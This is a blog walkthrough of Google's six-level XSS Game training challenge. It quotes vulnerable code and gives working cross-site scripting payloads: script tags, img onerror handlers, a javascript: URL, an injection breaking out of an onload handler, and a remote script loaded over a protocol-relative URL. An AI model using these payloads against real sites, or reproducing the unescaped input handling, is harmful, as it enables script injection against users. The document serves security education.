DISCLAIMER: The information in this site is for educational purpose only. The authors of this blog are not responsible for any kind of misuse of this information.

Friday, May 30, 2014

XSS Game 6/6

Lets start by inspecting the interesting parts of the source code:
    ...
    function includeGadget(url) {
      var scriptEl = document.createElement('script');

      // This will totally prevent us from loading evil URLs!
      // NOT ! ]:-)
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }

      // Load this awesome gadget
      scriptEl.src = url;

      // Show log messages
      ...

      document.head.appendChild(scriptEl);
    }

    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }

    includeGadget(getGadgetName());
    ...

It seems like we just have to provide a url to a js file with alert call.

I used http://tempsend.com to upload my js file which contains:
 alert("Owned!"); 

Now we want to include it in the victim page. It's challenging, the http:// prefix of a url is sanitized. There are some ways to bypass it:
  • When passing url with // prefix the used protocol is the same of the protocol used to fetch the calling page (in our case http, as required).
  • We can use uppercase prefix (HTTP://) which is not sanitized (or partly uppercase prefix such as HttP://)
  • We can upload our js file to a server supporting https://
We change the gadget script parameter to be:
//tempsend.com/path/to/alert.js
And this level is ... Owned !

OWNED THE CAKE !!! Omnumnumnum

                                                         -oooo:-                                                        
                                                        omhsoosho`                                                      
                                                        Ndo:``:oh-                                                      
                                                        dms+--+ym:                                                      
                                                        -ymhohdh+`                                                      
                                                         `N/`.s.                                                        
                                                          +:  +                                                         
                                                          --  :                                                         
                                                          --  o                                                         
                                                          ..  +                                                         
                                                          ::  s        ..`                                              
                                                .:sssso.  --  +     :syhhyo`                                            
                                ..::::.       `odhhyyhdd. ::  s    .mhhyhhdh.       -:...`                              
                               /dhhhhhhs     .odddhyhdddh+y:  my-syhdhhyhhddy/`   .odhyyhh:                             
                              yNdhyyoyhmo+::+ms/+++//++/odm:  NNmNd+///+++/+ody::omhyssyhdm-                            
                            -sddyyyyyyyoommmmmmdhyyyyyyhddd: `ddmdmdhyssyyhhmmNNNNdhyyyyyhmo-`                          
                        ``-omdyyyssys///shdddddddddmmdddhyy-``yhddddhhhhhdmmmmmmdd/oyssyyyyhmhss-`                      
                     `:ohhdmddhhyyyyyshddddhhyyyyyhddhhyo:-...--shhyysssyyhhdhhhddyyysyyyhdddmNNmyo.                    
                    /hNNmmd/:o+/////:`/osyhhyyys+syyhhyysysooossyyyyyooyyyyyyysyy+./oooooos/:ydNNmNmo.                  
                   +dNmmmmmhoo+///////oossshhyyyyyyyyssoossoosoosssyyyyyyyhsoyyyys/:-..--:/+sdddmmmNMy                  
                  `hNmmdmmdmddddhhhyhysso+.oyssssso-./o:-/+oo++oo--osoooooo..oyyhyyyyyyhhhyhdddmmdmNNN                  
                  `yNmNNhhdmdddhhhyyyyyyys:-......`./+++/:o++oo++/-````..::/+sysysyyyhsshhhydddmmmNNNN                  
                   sMNNNNNNmmdmdhhhhyyyyyyhhssssoo+oo/+//:/+//+:++++ooosyooyssosyyhhyhsshdhdmmNmNmmMMN                  
                   -NNNNNNhmNmdmmmdddddmhhhyyyyssys///+/:://////o+osoo+osoossosyhhdddh+omddmNNmmNmNMMN                  
                   oMNNNNNNNNdydNmmmmmdhydhhsoooodhydhsshys+soyooooosssyhyhymdhdhyddmmmdmNNNNNNmNNNMMM                  
                   yMMNNNMmmNdmmNNNNNNmh/sysyysyhyddmhhyhyhhddyyyhmddhhdmdddmmmdmmmmNNmmmNmNNNNmMNMMMM                  
                  .dMMNNMMNNNmNNNNNNmmNNhsddddNNdmhdmddyyhdhdhdddhdmhhdddhmddmmmNNNNNNNNNNNNNNNNMNMMMM                  
                  :NMMMNMMNMNhhmNNNNmdmNNmhddmdNmmmmmmddddNmdhdhddddmddmmmmmmNdNmdmmNNNmNNNNNdmMMMMMMM                  
                  -mMMMMMNNmNNmNNNNNNNNNNNdmmNmNmNmNmmNNmmNNdhddmmmmNmhhhyohNMNMNmmmmNdmNNMMMNNMMMMMMM                  
                  .dMMMMMMNNNMMMMMNNNNNMNmmmNNNmmmmNNdddmmNNNmmdNNmNNNmmNNNNNNNNNNNNNNNmNNNNNmNMMMMMMM                  
                  :NMMMMMMMMMMMMMMMNmmNMNNNNNNNmmNmNNNNmdmNNNNNNNmNNdmNNMMNMmNNNNNNMMNdmNNNMNmmMMMMMMM                  
                  :NNMMMMMMMMMMMMMMMMNNMNNMNNNMMMNNNNNNmNmdmmmNNNNNNmmNNNNNNNNNNMNNMMMNNNNMMNmMMMMNNMN                  
                  :NMMMNNMMMMMMMMMMMMMNNMMMMNMMMNmNNMNNNNNmhNMNNMNNNMMNMMMMMNNMMNNNMNMMMMNMMNNMMNMNMMM                  
                  `hMMMNdMNNMNNNNNMMNNNNMMMMMMMMNmNMMMMNNNNNNNdmmmMNMMMMMMNNMMNmdNMMNMNNNNMNmmNMNMMMMN                  
                   yMMMMNMMNMNmmNNNMNmddmMMNNNMNNNNNMMNNNNMNNNNNNNmNNNNNNNNNNNNNddNdmdmmNNMNNdMMMMMMMN                  
                   yMMMMNMNMMNNMMNNNNmdmmNMNNdhmMNNNNNNmNMMddddmNNNmNNMMNmNmmmmmNNmmmmNMMMMMMNNNMMMMMN                  
                   yNNNMMNNMMMMMMNNNNNMmmdNNNNNNNNNNNNmNNNNNmNmmNNNNNNNNNNNmNmNNNNNNNNNNNNNMMMNNMMMMMy                  
                   +MMMMMMMMMMMNNNNMMMNNNNmNNNMNMNNMNNmhdNNNNNmNNNmmNNNNNNNNNNNMMNNmNNNNNMNMNMMMMMMMN:                  
                    NMMMMNMMMMMMMNNNNNNdNMNNNNNNmNNNNNNNNNmmhNNNNmdNNNNNNNNNMMNNMNNNNNNNNNMMMMNNMMMNs`                  
                    -sdmNMNNMMMMMNNNNmmmmNNNMNmNMNNNNNNNMNmNNNNNNmmmdmNNNMNmmmmNMNNMNMmmNNMMMNMNmd+-`                   
                      `.ohNNMMNMMNMNNmdmNNNNNNmNMNNMNNNNmNNNmmmNmNMMNNMNNMMNNNNNNNNNNMMMMMMMNNho.`                      
                          :+hdNNNNNNNNNNNNNNmNNNNNNNMNNNmNNNNmMmmmNNNMNNNNNNNNMNNMMMMMNNmdds/-                          
                             `--:+shddmmNmmmmNNNNMNNNMNNNNNNNNNNMMNMMMNNNmNNNMNNNNdh++/-.`                              
                                     `--++osdddddddysNmmhshmmmmmNmddddddho/:++/---                                      
                                                    `-.-. .------.                                 

    

XSS Game 5/6

Lets start with behavioral analysis.

Try to signup. We redirected to /frame/signup?next=confirm
enter some email address, we redirected to /frame/confirm and then back to /frame/welcome

seems like the next button on signup page redirected to the value of next parameter!
This means we control the 'href' attribute of the <a> tag (we can see it also in the source)
lets try to put inline javascript in it :
next=javascript:alert('Owned!')
 And ... Owned !

XSS Game 4/6

OK another one :)

As always we start with behavioral analysis. Lets give some number to the timer. Oh, we redirected to another page with a waiting message:

"Your timer will execute in <timer> seconds."

<timer> is the value we passed in the previous page. The first page contains a form which generates a HTTP GET request with the parameter 'timer' to timer.html (the actual HTTP GET request is to index.html but the webserver redirect it to timer.html if a 'timer' parameter was added) 

OK, cool. Instead of giving a numerical value lets inject some html tag >:)


<b>XSS?</b>
=O It was sanitized! Meaning the real fun begins :D

lets inspect timer.html page:
<script>

      function startTimer(seconds) {

        seconds = parseInt(seconds) || 3;

        setTimeout(function() {

          window.confirm("Time is up!");

          window.history.back();

        }, seconds * 1000);

      }

    </script>

  </head>

  <body id="level4">

    <img src="/static/logos/level4.png" />

    <br>

    <img src="/static/loading.gif" onload="startTimer('<timer_value>');" />

    <br>

    <div id="message">Your timer will execute in {{ timer }} seconds.</div>

we will try to inject our code to:
onload="startTimer('<timer_value>');"
This is strategic place because this code is executed on page load.

For injecting without any annoying popups, lets start our injected timer value with 100000000.
The timer won't be triggered soon, we have time to work without interrupts :)

timer=100000000

first, we want to escape from the '...' context. Lets inject timer=100000000%27 (%27 represents ' in hex-encoded ascii).
We get Uncaught SyntaxError: Unexpected token ILLEGAL In Chrome console. It seems that now we broke something - the ' we injected messed up the timer value warpping.

Lets continue with calling to alert.
we want something like this: startTimer('1');alert('Owned!');
timer written hex-encoded: timer=1%27%29%3Balert%28%27Owned!

Notice we didn't inject the closing ') for the alert because it already was there.
We changed the time value to 1 to avoid waiting forever for the timer to fire up.

Owned !

XSS Game 3/6

Hola mocosos!

On this level we have a site without any input fields. Interesting, isn't it the only channel to enter input ?

Of course not ! The most basic user input is the URL he enters in his browser which generates a HTTP GET request sent to the HTTP server. This request can carry user parameters for loading the required page.

Lets begin. When clicking 'Go' we notice that the URL changed to ../frame#1
Interesting. Lets click on Image 2 and Image 3 tabs, the number at the end changed in both cases.

Lets try to get /frame#42. Nice ! The title is Image 42, meaning we have a sort control on the content the victim client is parsing. We notice that no image was loaded, maybe it has something to do with the number we pass ? Maybe it's an index for images container or something ?

Time to raise the bar and inspect client side code ! The inspection is still considered blind because we don't have the server source code (the standard case)

    <script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 
        window.location.hash = num;
 
        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }
 
        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }
 
      window.onload = function() { 
        chooseTab(self.location.hash.substr(1) || "1"); 
        // [!] the function chooseTab is called 
           //with the parameter after the '#' from the url on load
      }
 
      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(self.location.hash.substr(1));
        }
      }, false);
    </script>
This code gives an explanation to the controlled integer field we observed on first sight.
The most interesting line is:
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
This line shouts: "unsanitized user input is mixed up with code" This code is later sent back to the client which renders it (Javascript code)

Remembers the technique from the previous level ? lets use it again: We will inject this:
1000.jpg' onerror='alert("Owned!")' alt='

We get:
<img src='/static/level3/cloud" + "1000.jpg' onerror='alert("Owned!")' 
alt='" + ".jpg' />
More readable (after concatination):
<img src='/static/level3/cloud1000.jpg' onerror='alert("Owned!")' 
alt='.jpg' />
The image we try to load doesn't exist and the onerror event we defined will be triggered. We added alt attribute to push the hard-coded '.jpg' that was there. alt attribute defines the description of the image >< (So 90s)

We can announce owned ! >:)

XSS Game 2/6

Sup ?

Here we have kind of chatting service (very lame one because of the xss bug in it =D)
Let's start our blind inspection:
Input:
<b>Sup?</b>
As we can see our HTML tags were rendered by the browser too ! No escaping again >:)
the trivial next input will be
<script>alert("Owned?")</script>
But this time it doesn't work (If it was, this level won't teach us nothing we didn't learn from the previous one).
Seems like someone filtered out <script> HTML tags from his chatting service (chatting service requires at most tags for styling such as bold/underline so it's reasonable not to support it)

So ... our trivial injection doesn't work but there are plenty of options to execute javascript on a victim client }:-)

It's a chatting service -- so maybe <img/> is supported. OK, it is. What could be done with that ???
we can define javascript code to be called on events such as onclick, onload, onerror.
  •  The first option will require the victim to click on the image, therefore requires more than just injection (convince the victim to click on it) 
  •  The second option requires a successful image loading so we will have to supply an image to load ... Nobody Got Time For That ! 
  • The third option requires an unsuccessful image loading. Easy ! let's give bad img src value and the event will be fired :) 
<img src='bad_src' onerror="alert('Owned!')"/>

Gotcha!

XSS Game 1/6

Hola ! Lets beat Google's xss-game. You can find it here:
http://xss-game.appspot.com/

To make it more challenging I'll demonstrate it as blind injection :)
OK, we have a popular search engine called '4|4'. Lets check if we can inject HTML at all.

Input : "<script></script>"
Output : "Sorry, no results were found for . Try again."

In the normal case it will be "Sorry, no results were found for . Try again.". This means the server sent the client our input as is and it was rendered as regular HTML code on the page.
Now lets inject the real thing:
<script>alert('Owned!')</script>

Owned ! Now lets see the reason - the server side code that generates this page:
...
    query = self.request.get('query', '[empty]')
       
    # Our search engine broke, we found no results :-(
    message = "Sorry, no results were found for <b>" + query + "</b>."
    message += " <a href='?'>Try again</a>."

    # Display the results page
    self.render_string(page_header + message + page_footer)
...
We can see that our query is mixed with the regular HTML page content without any escaping ... any developer should avoid that.
Let's move on !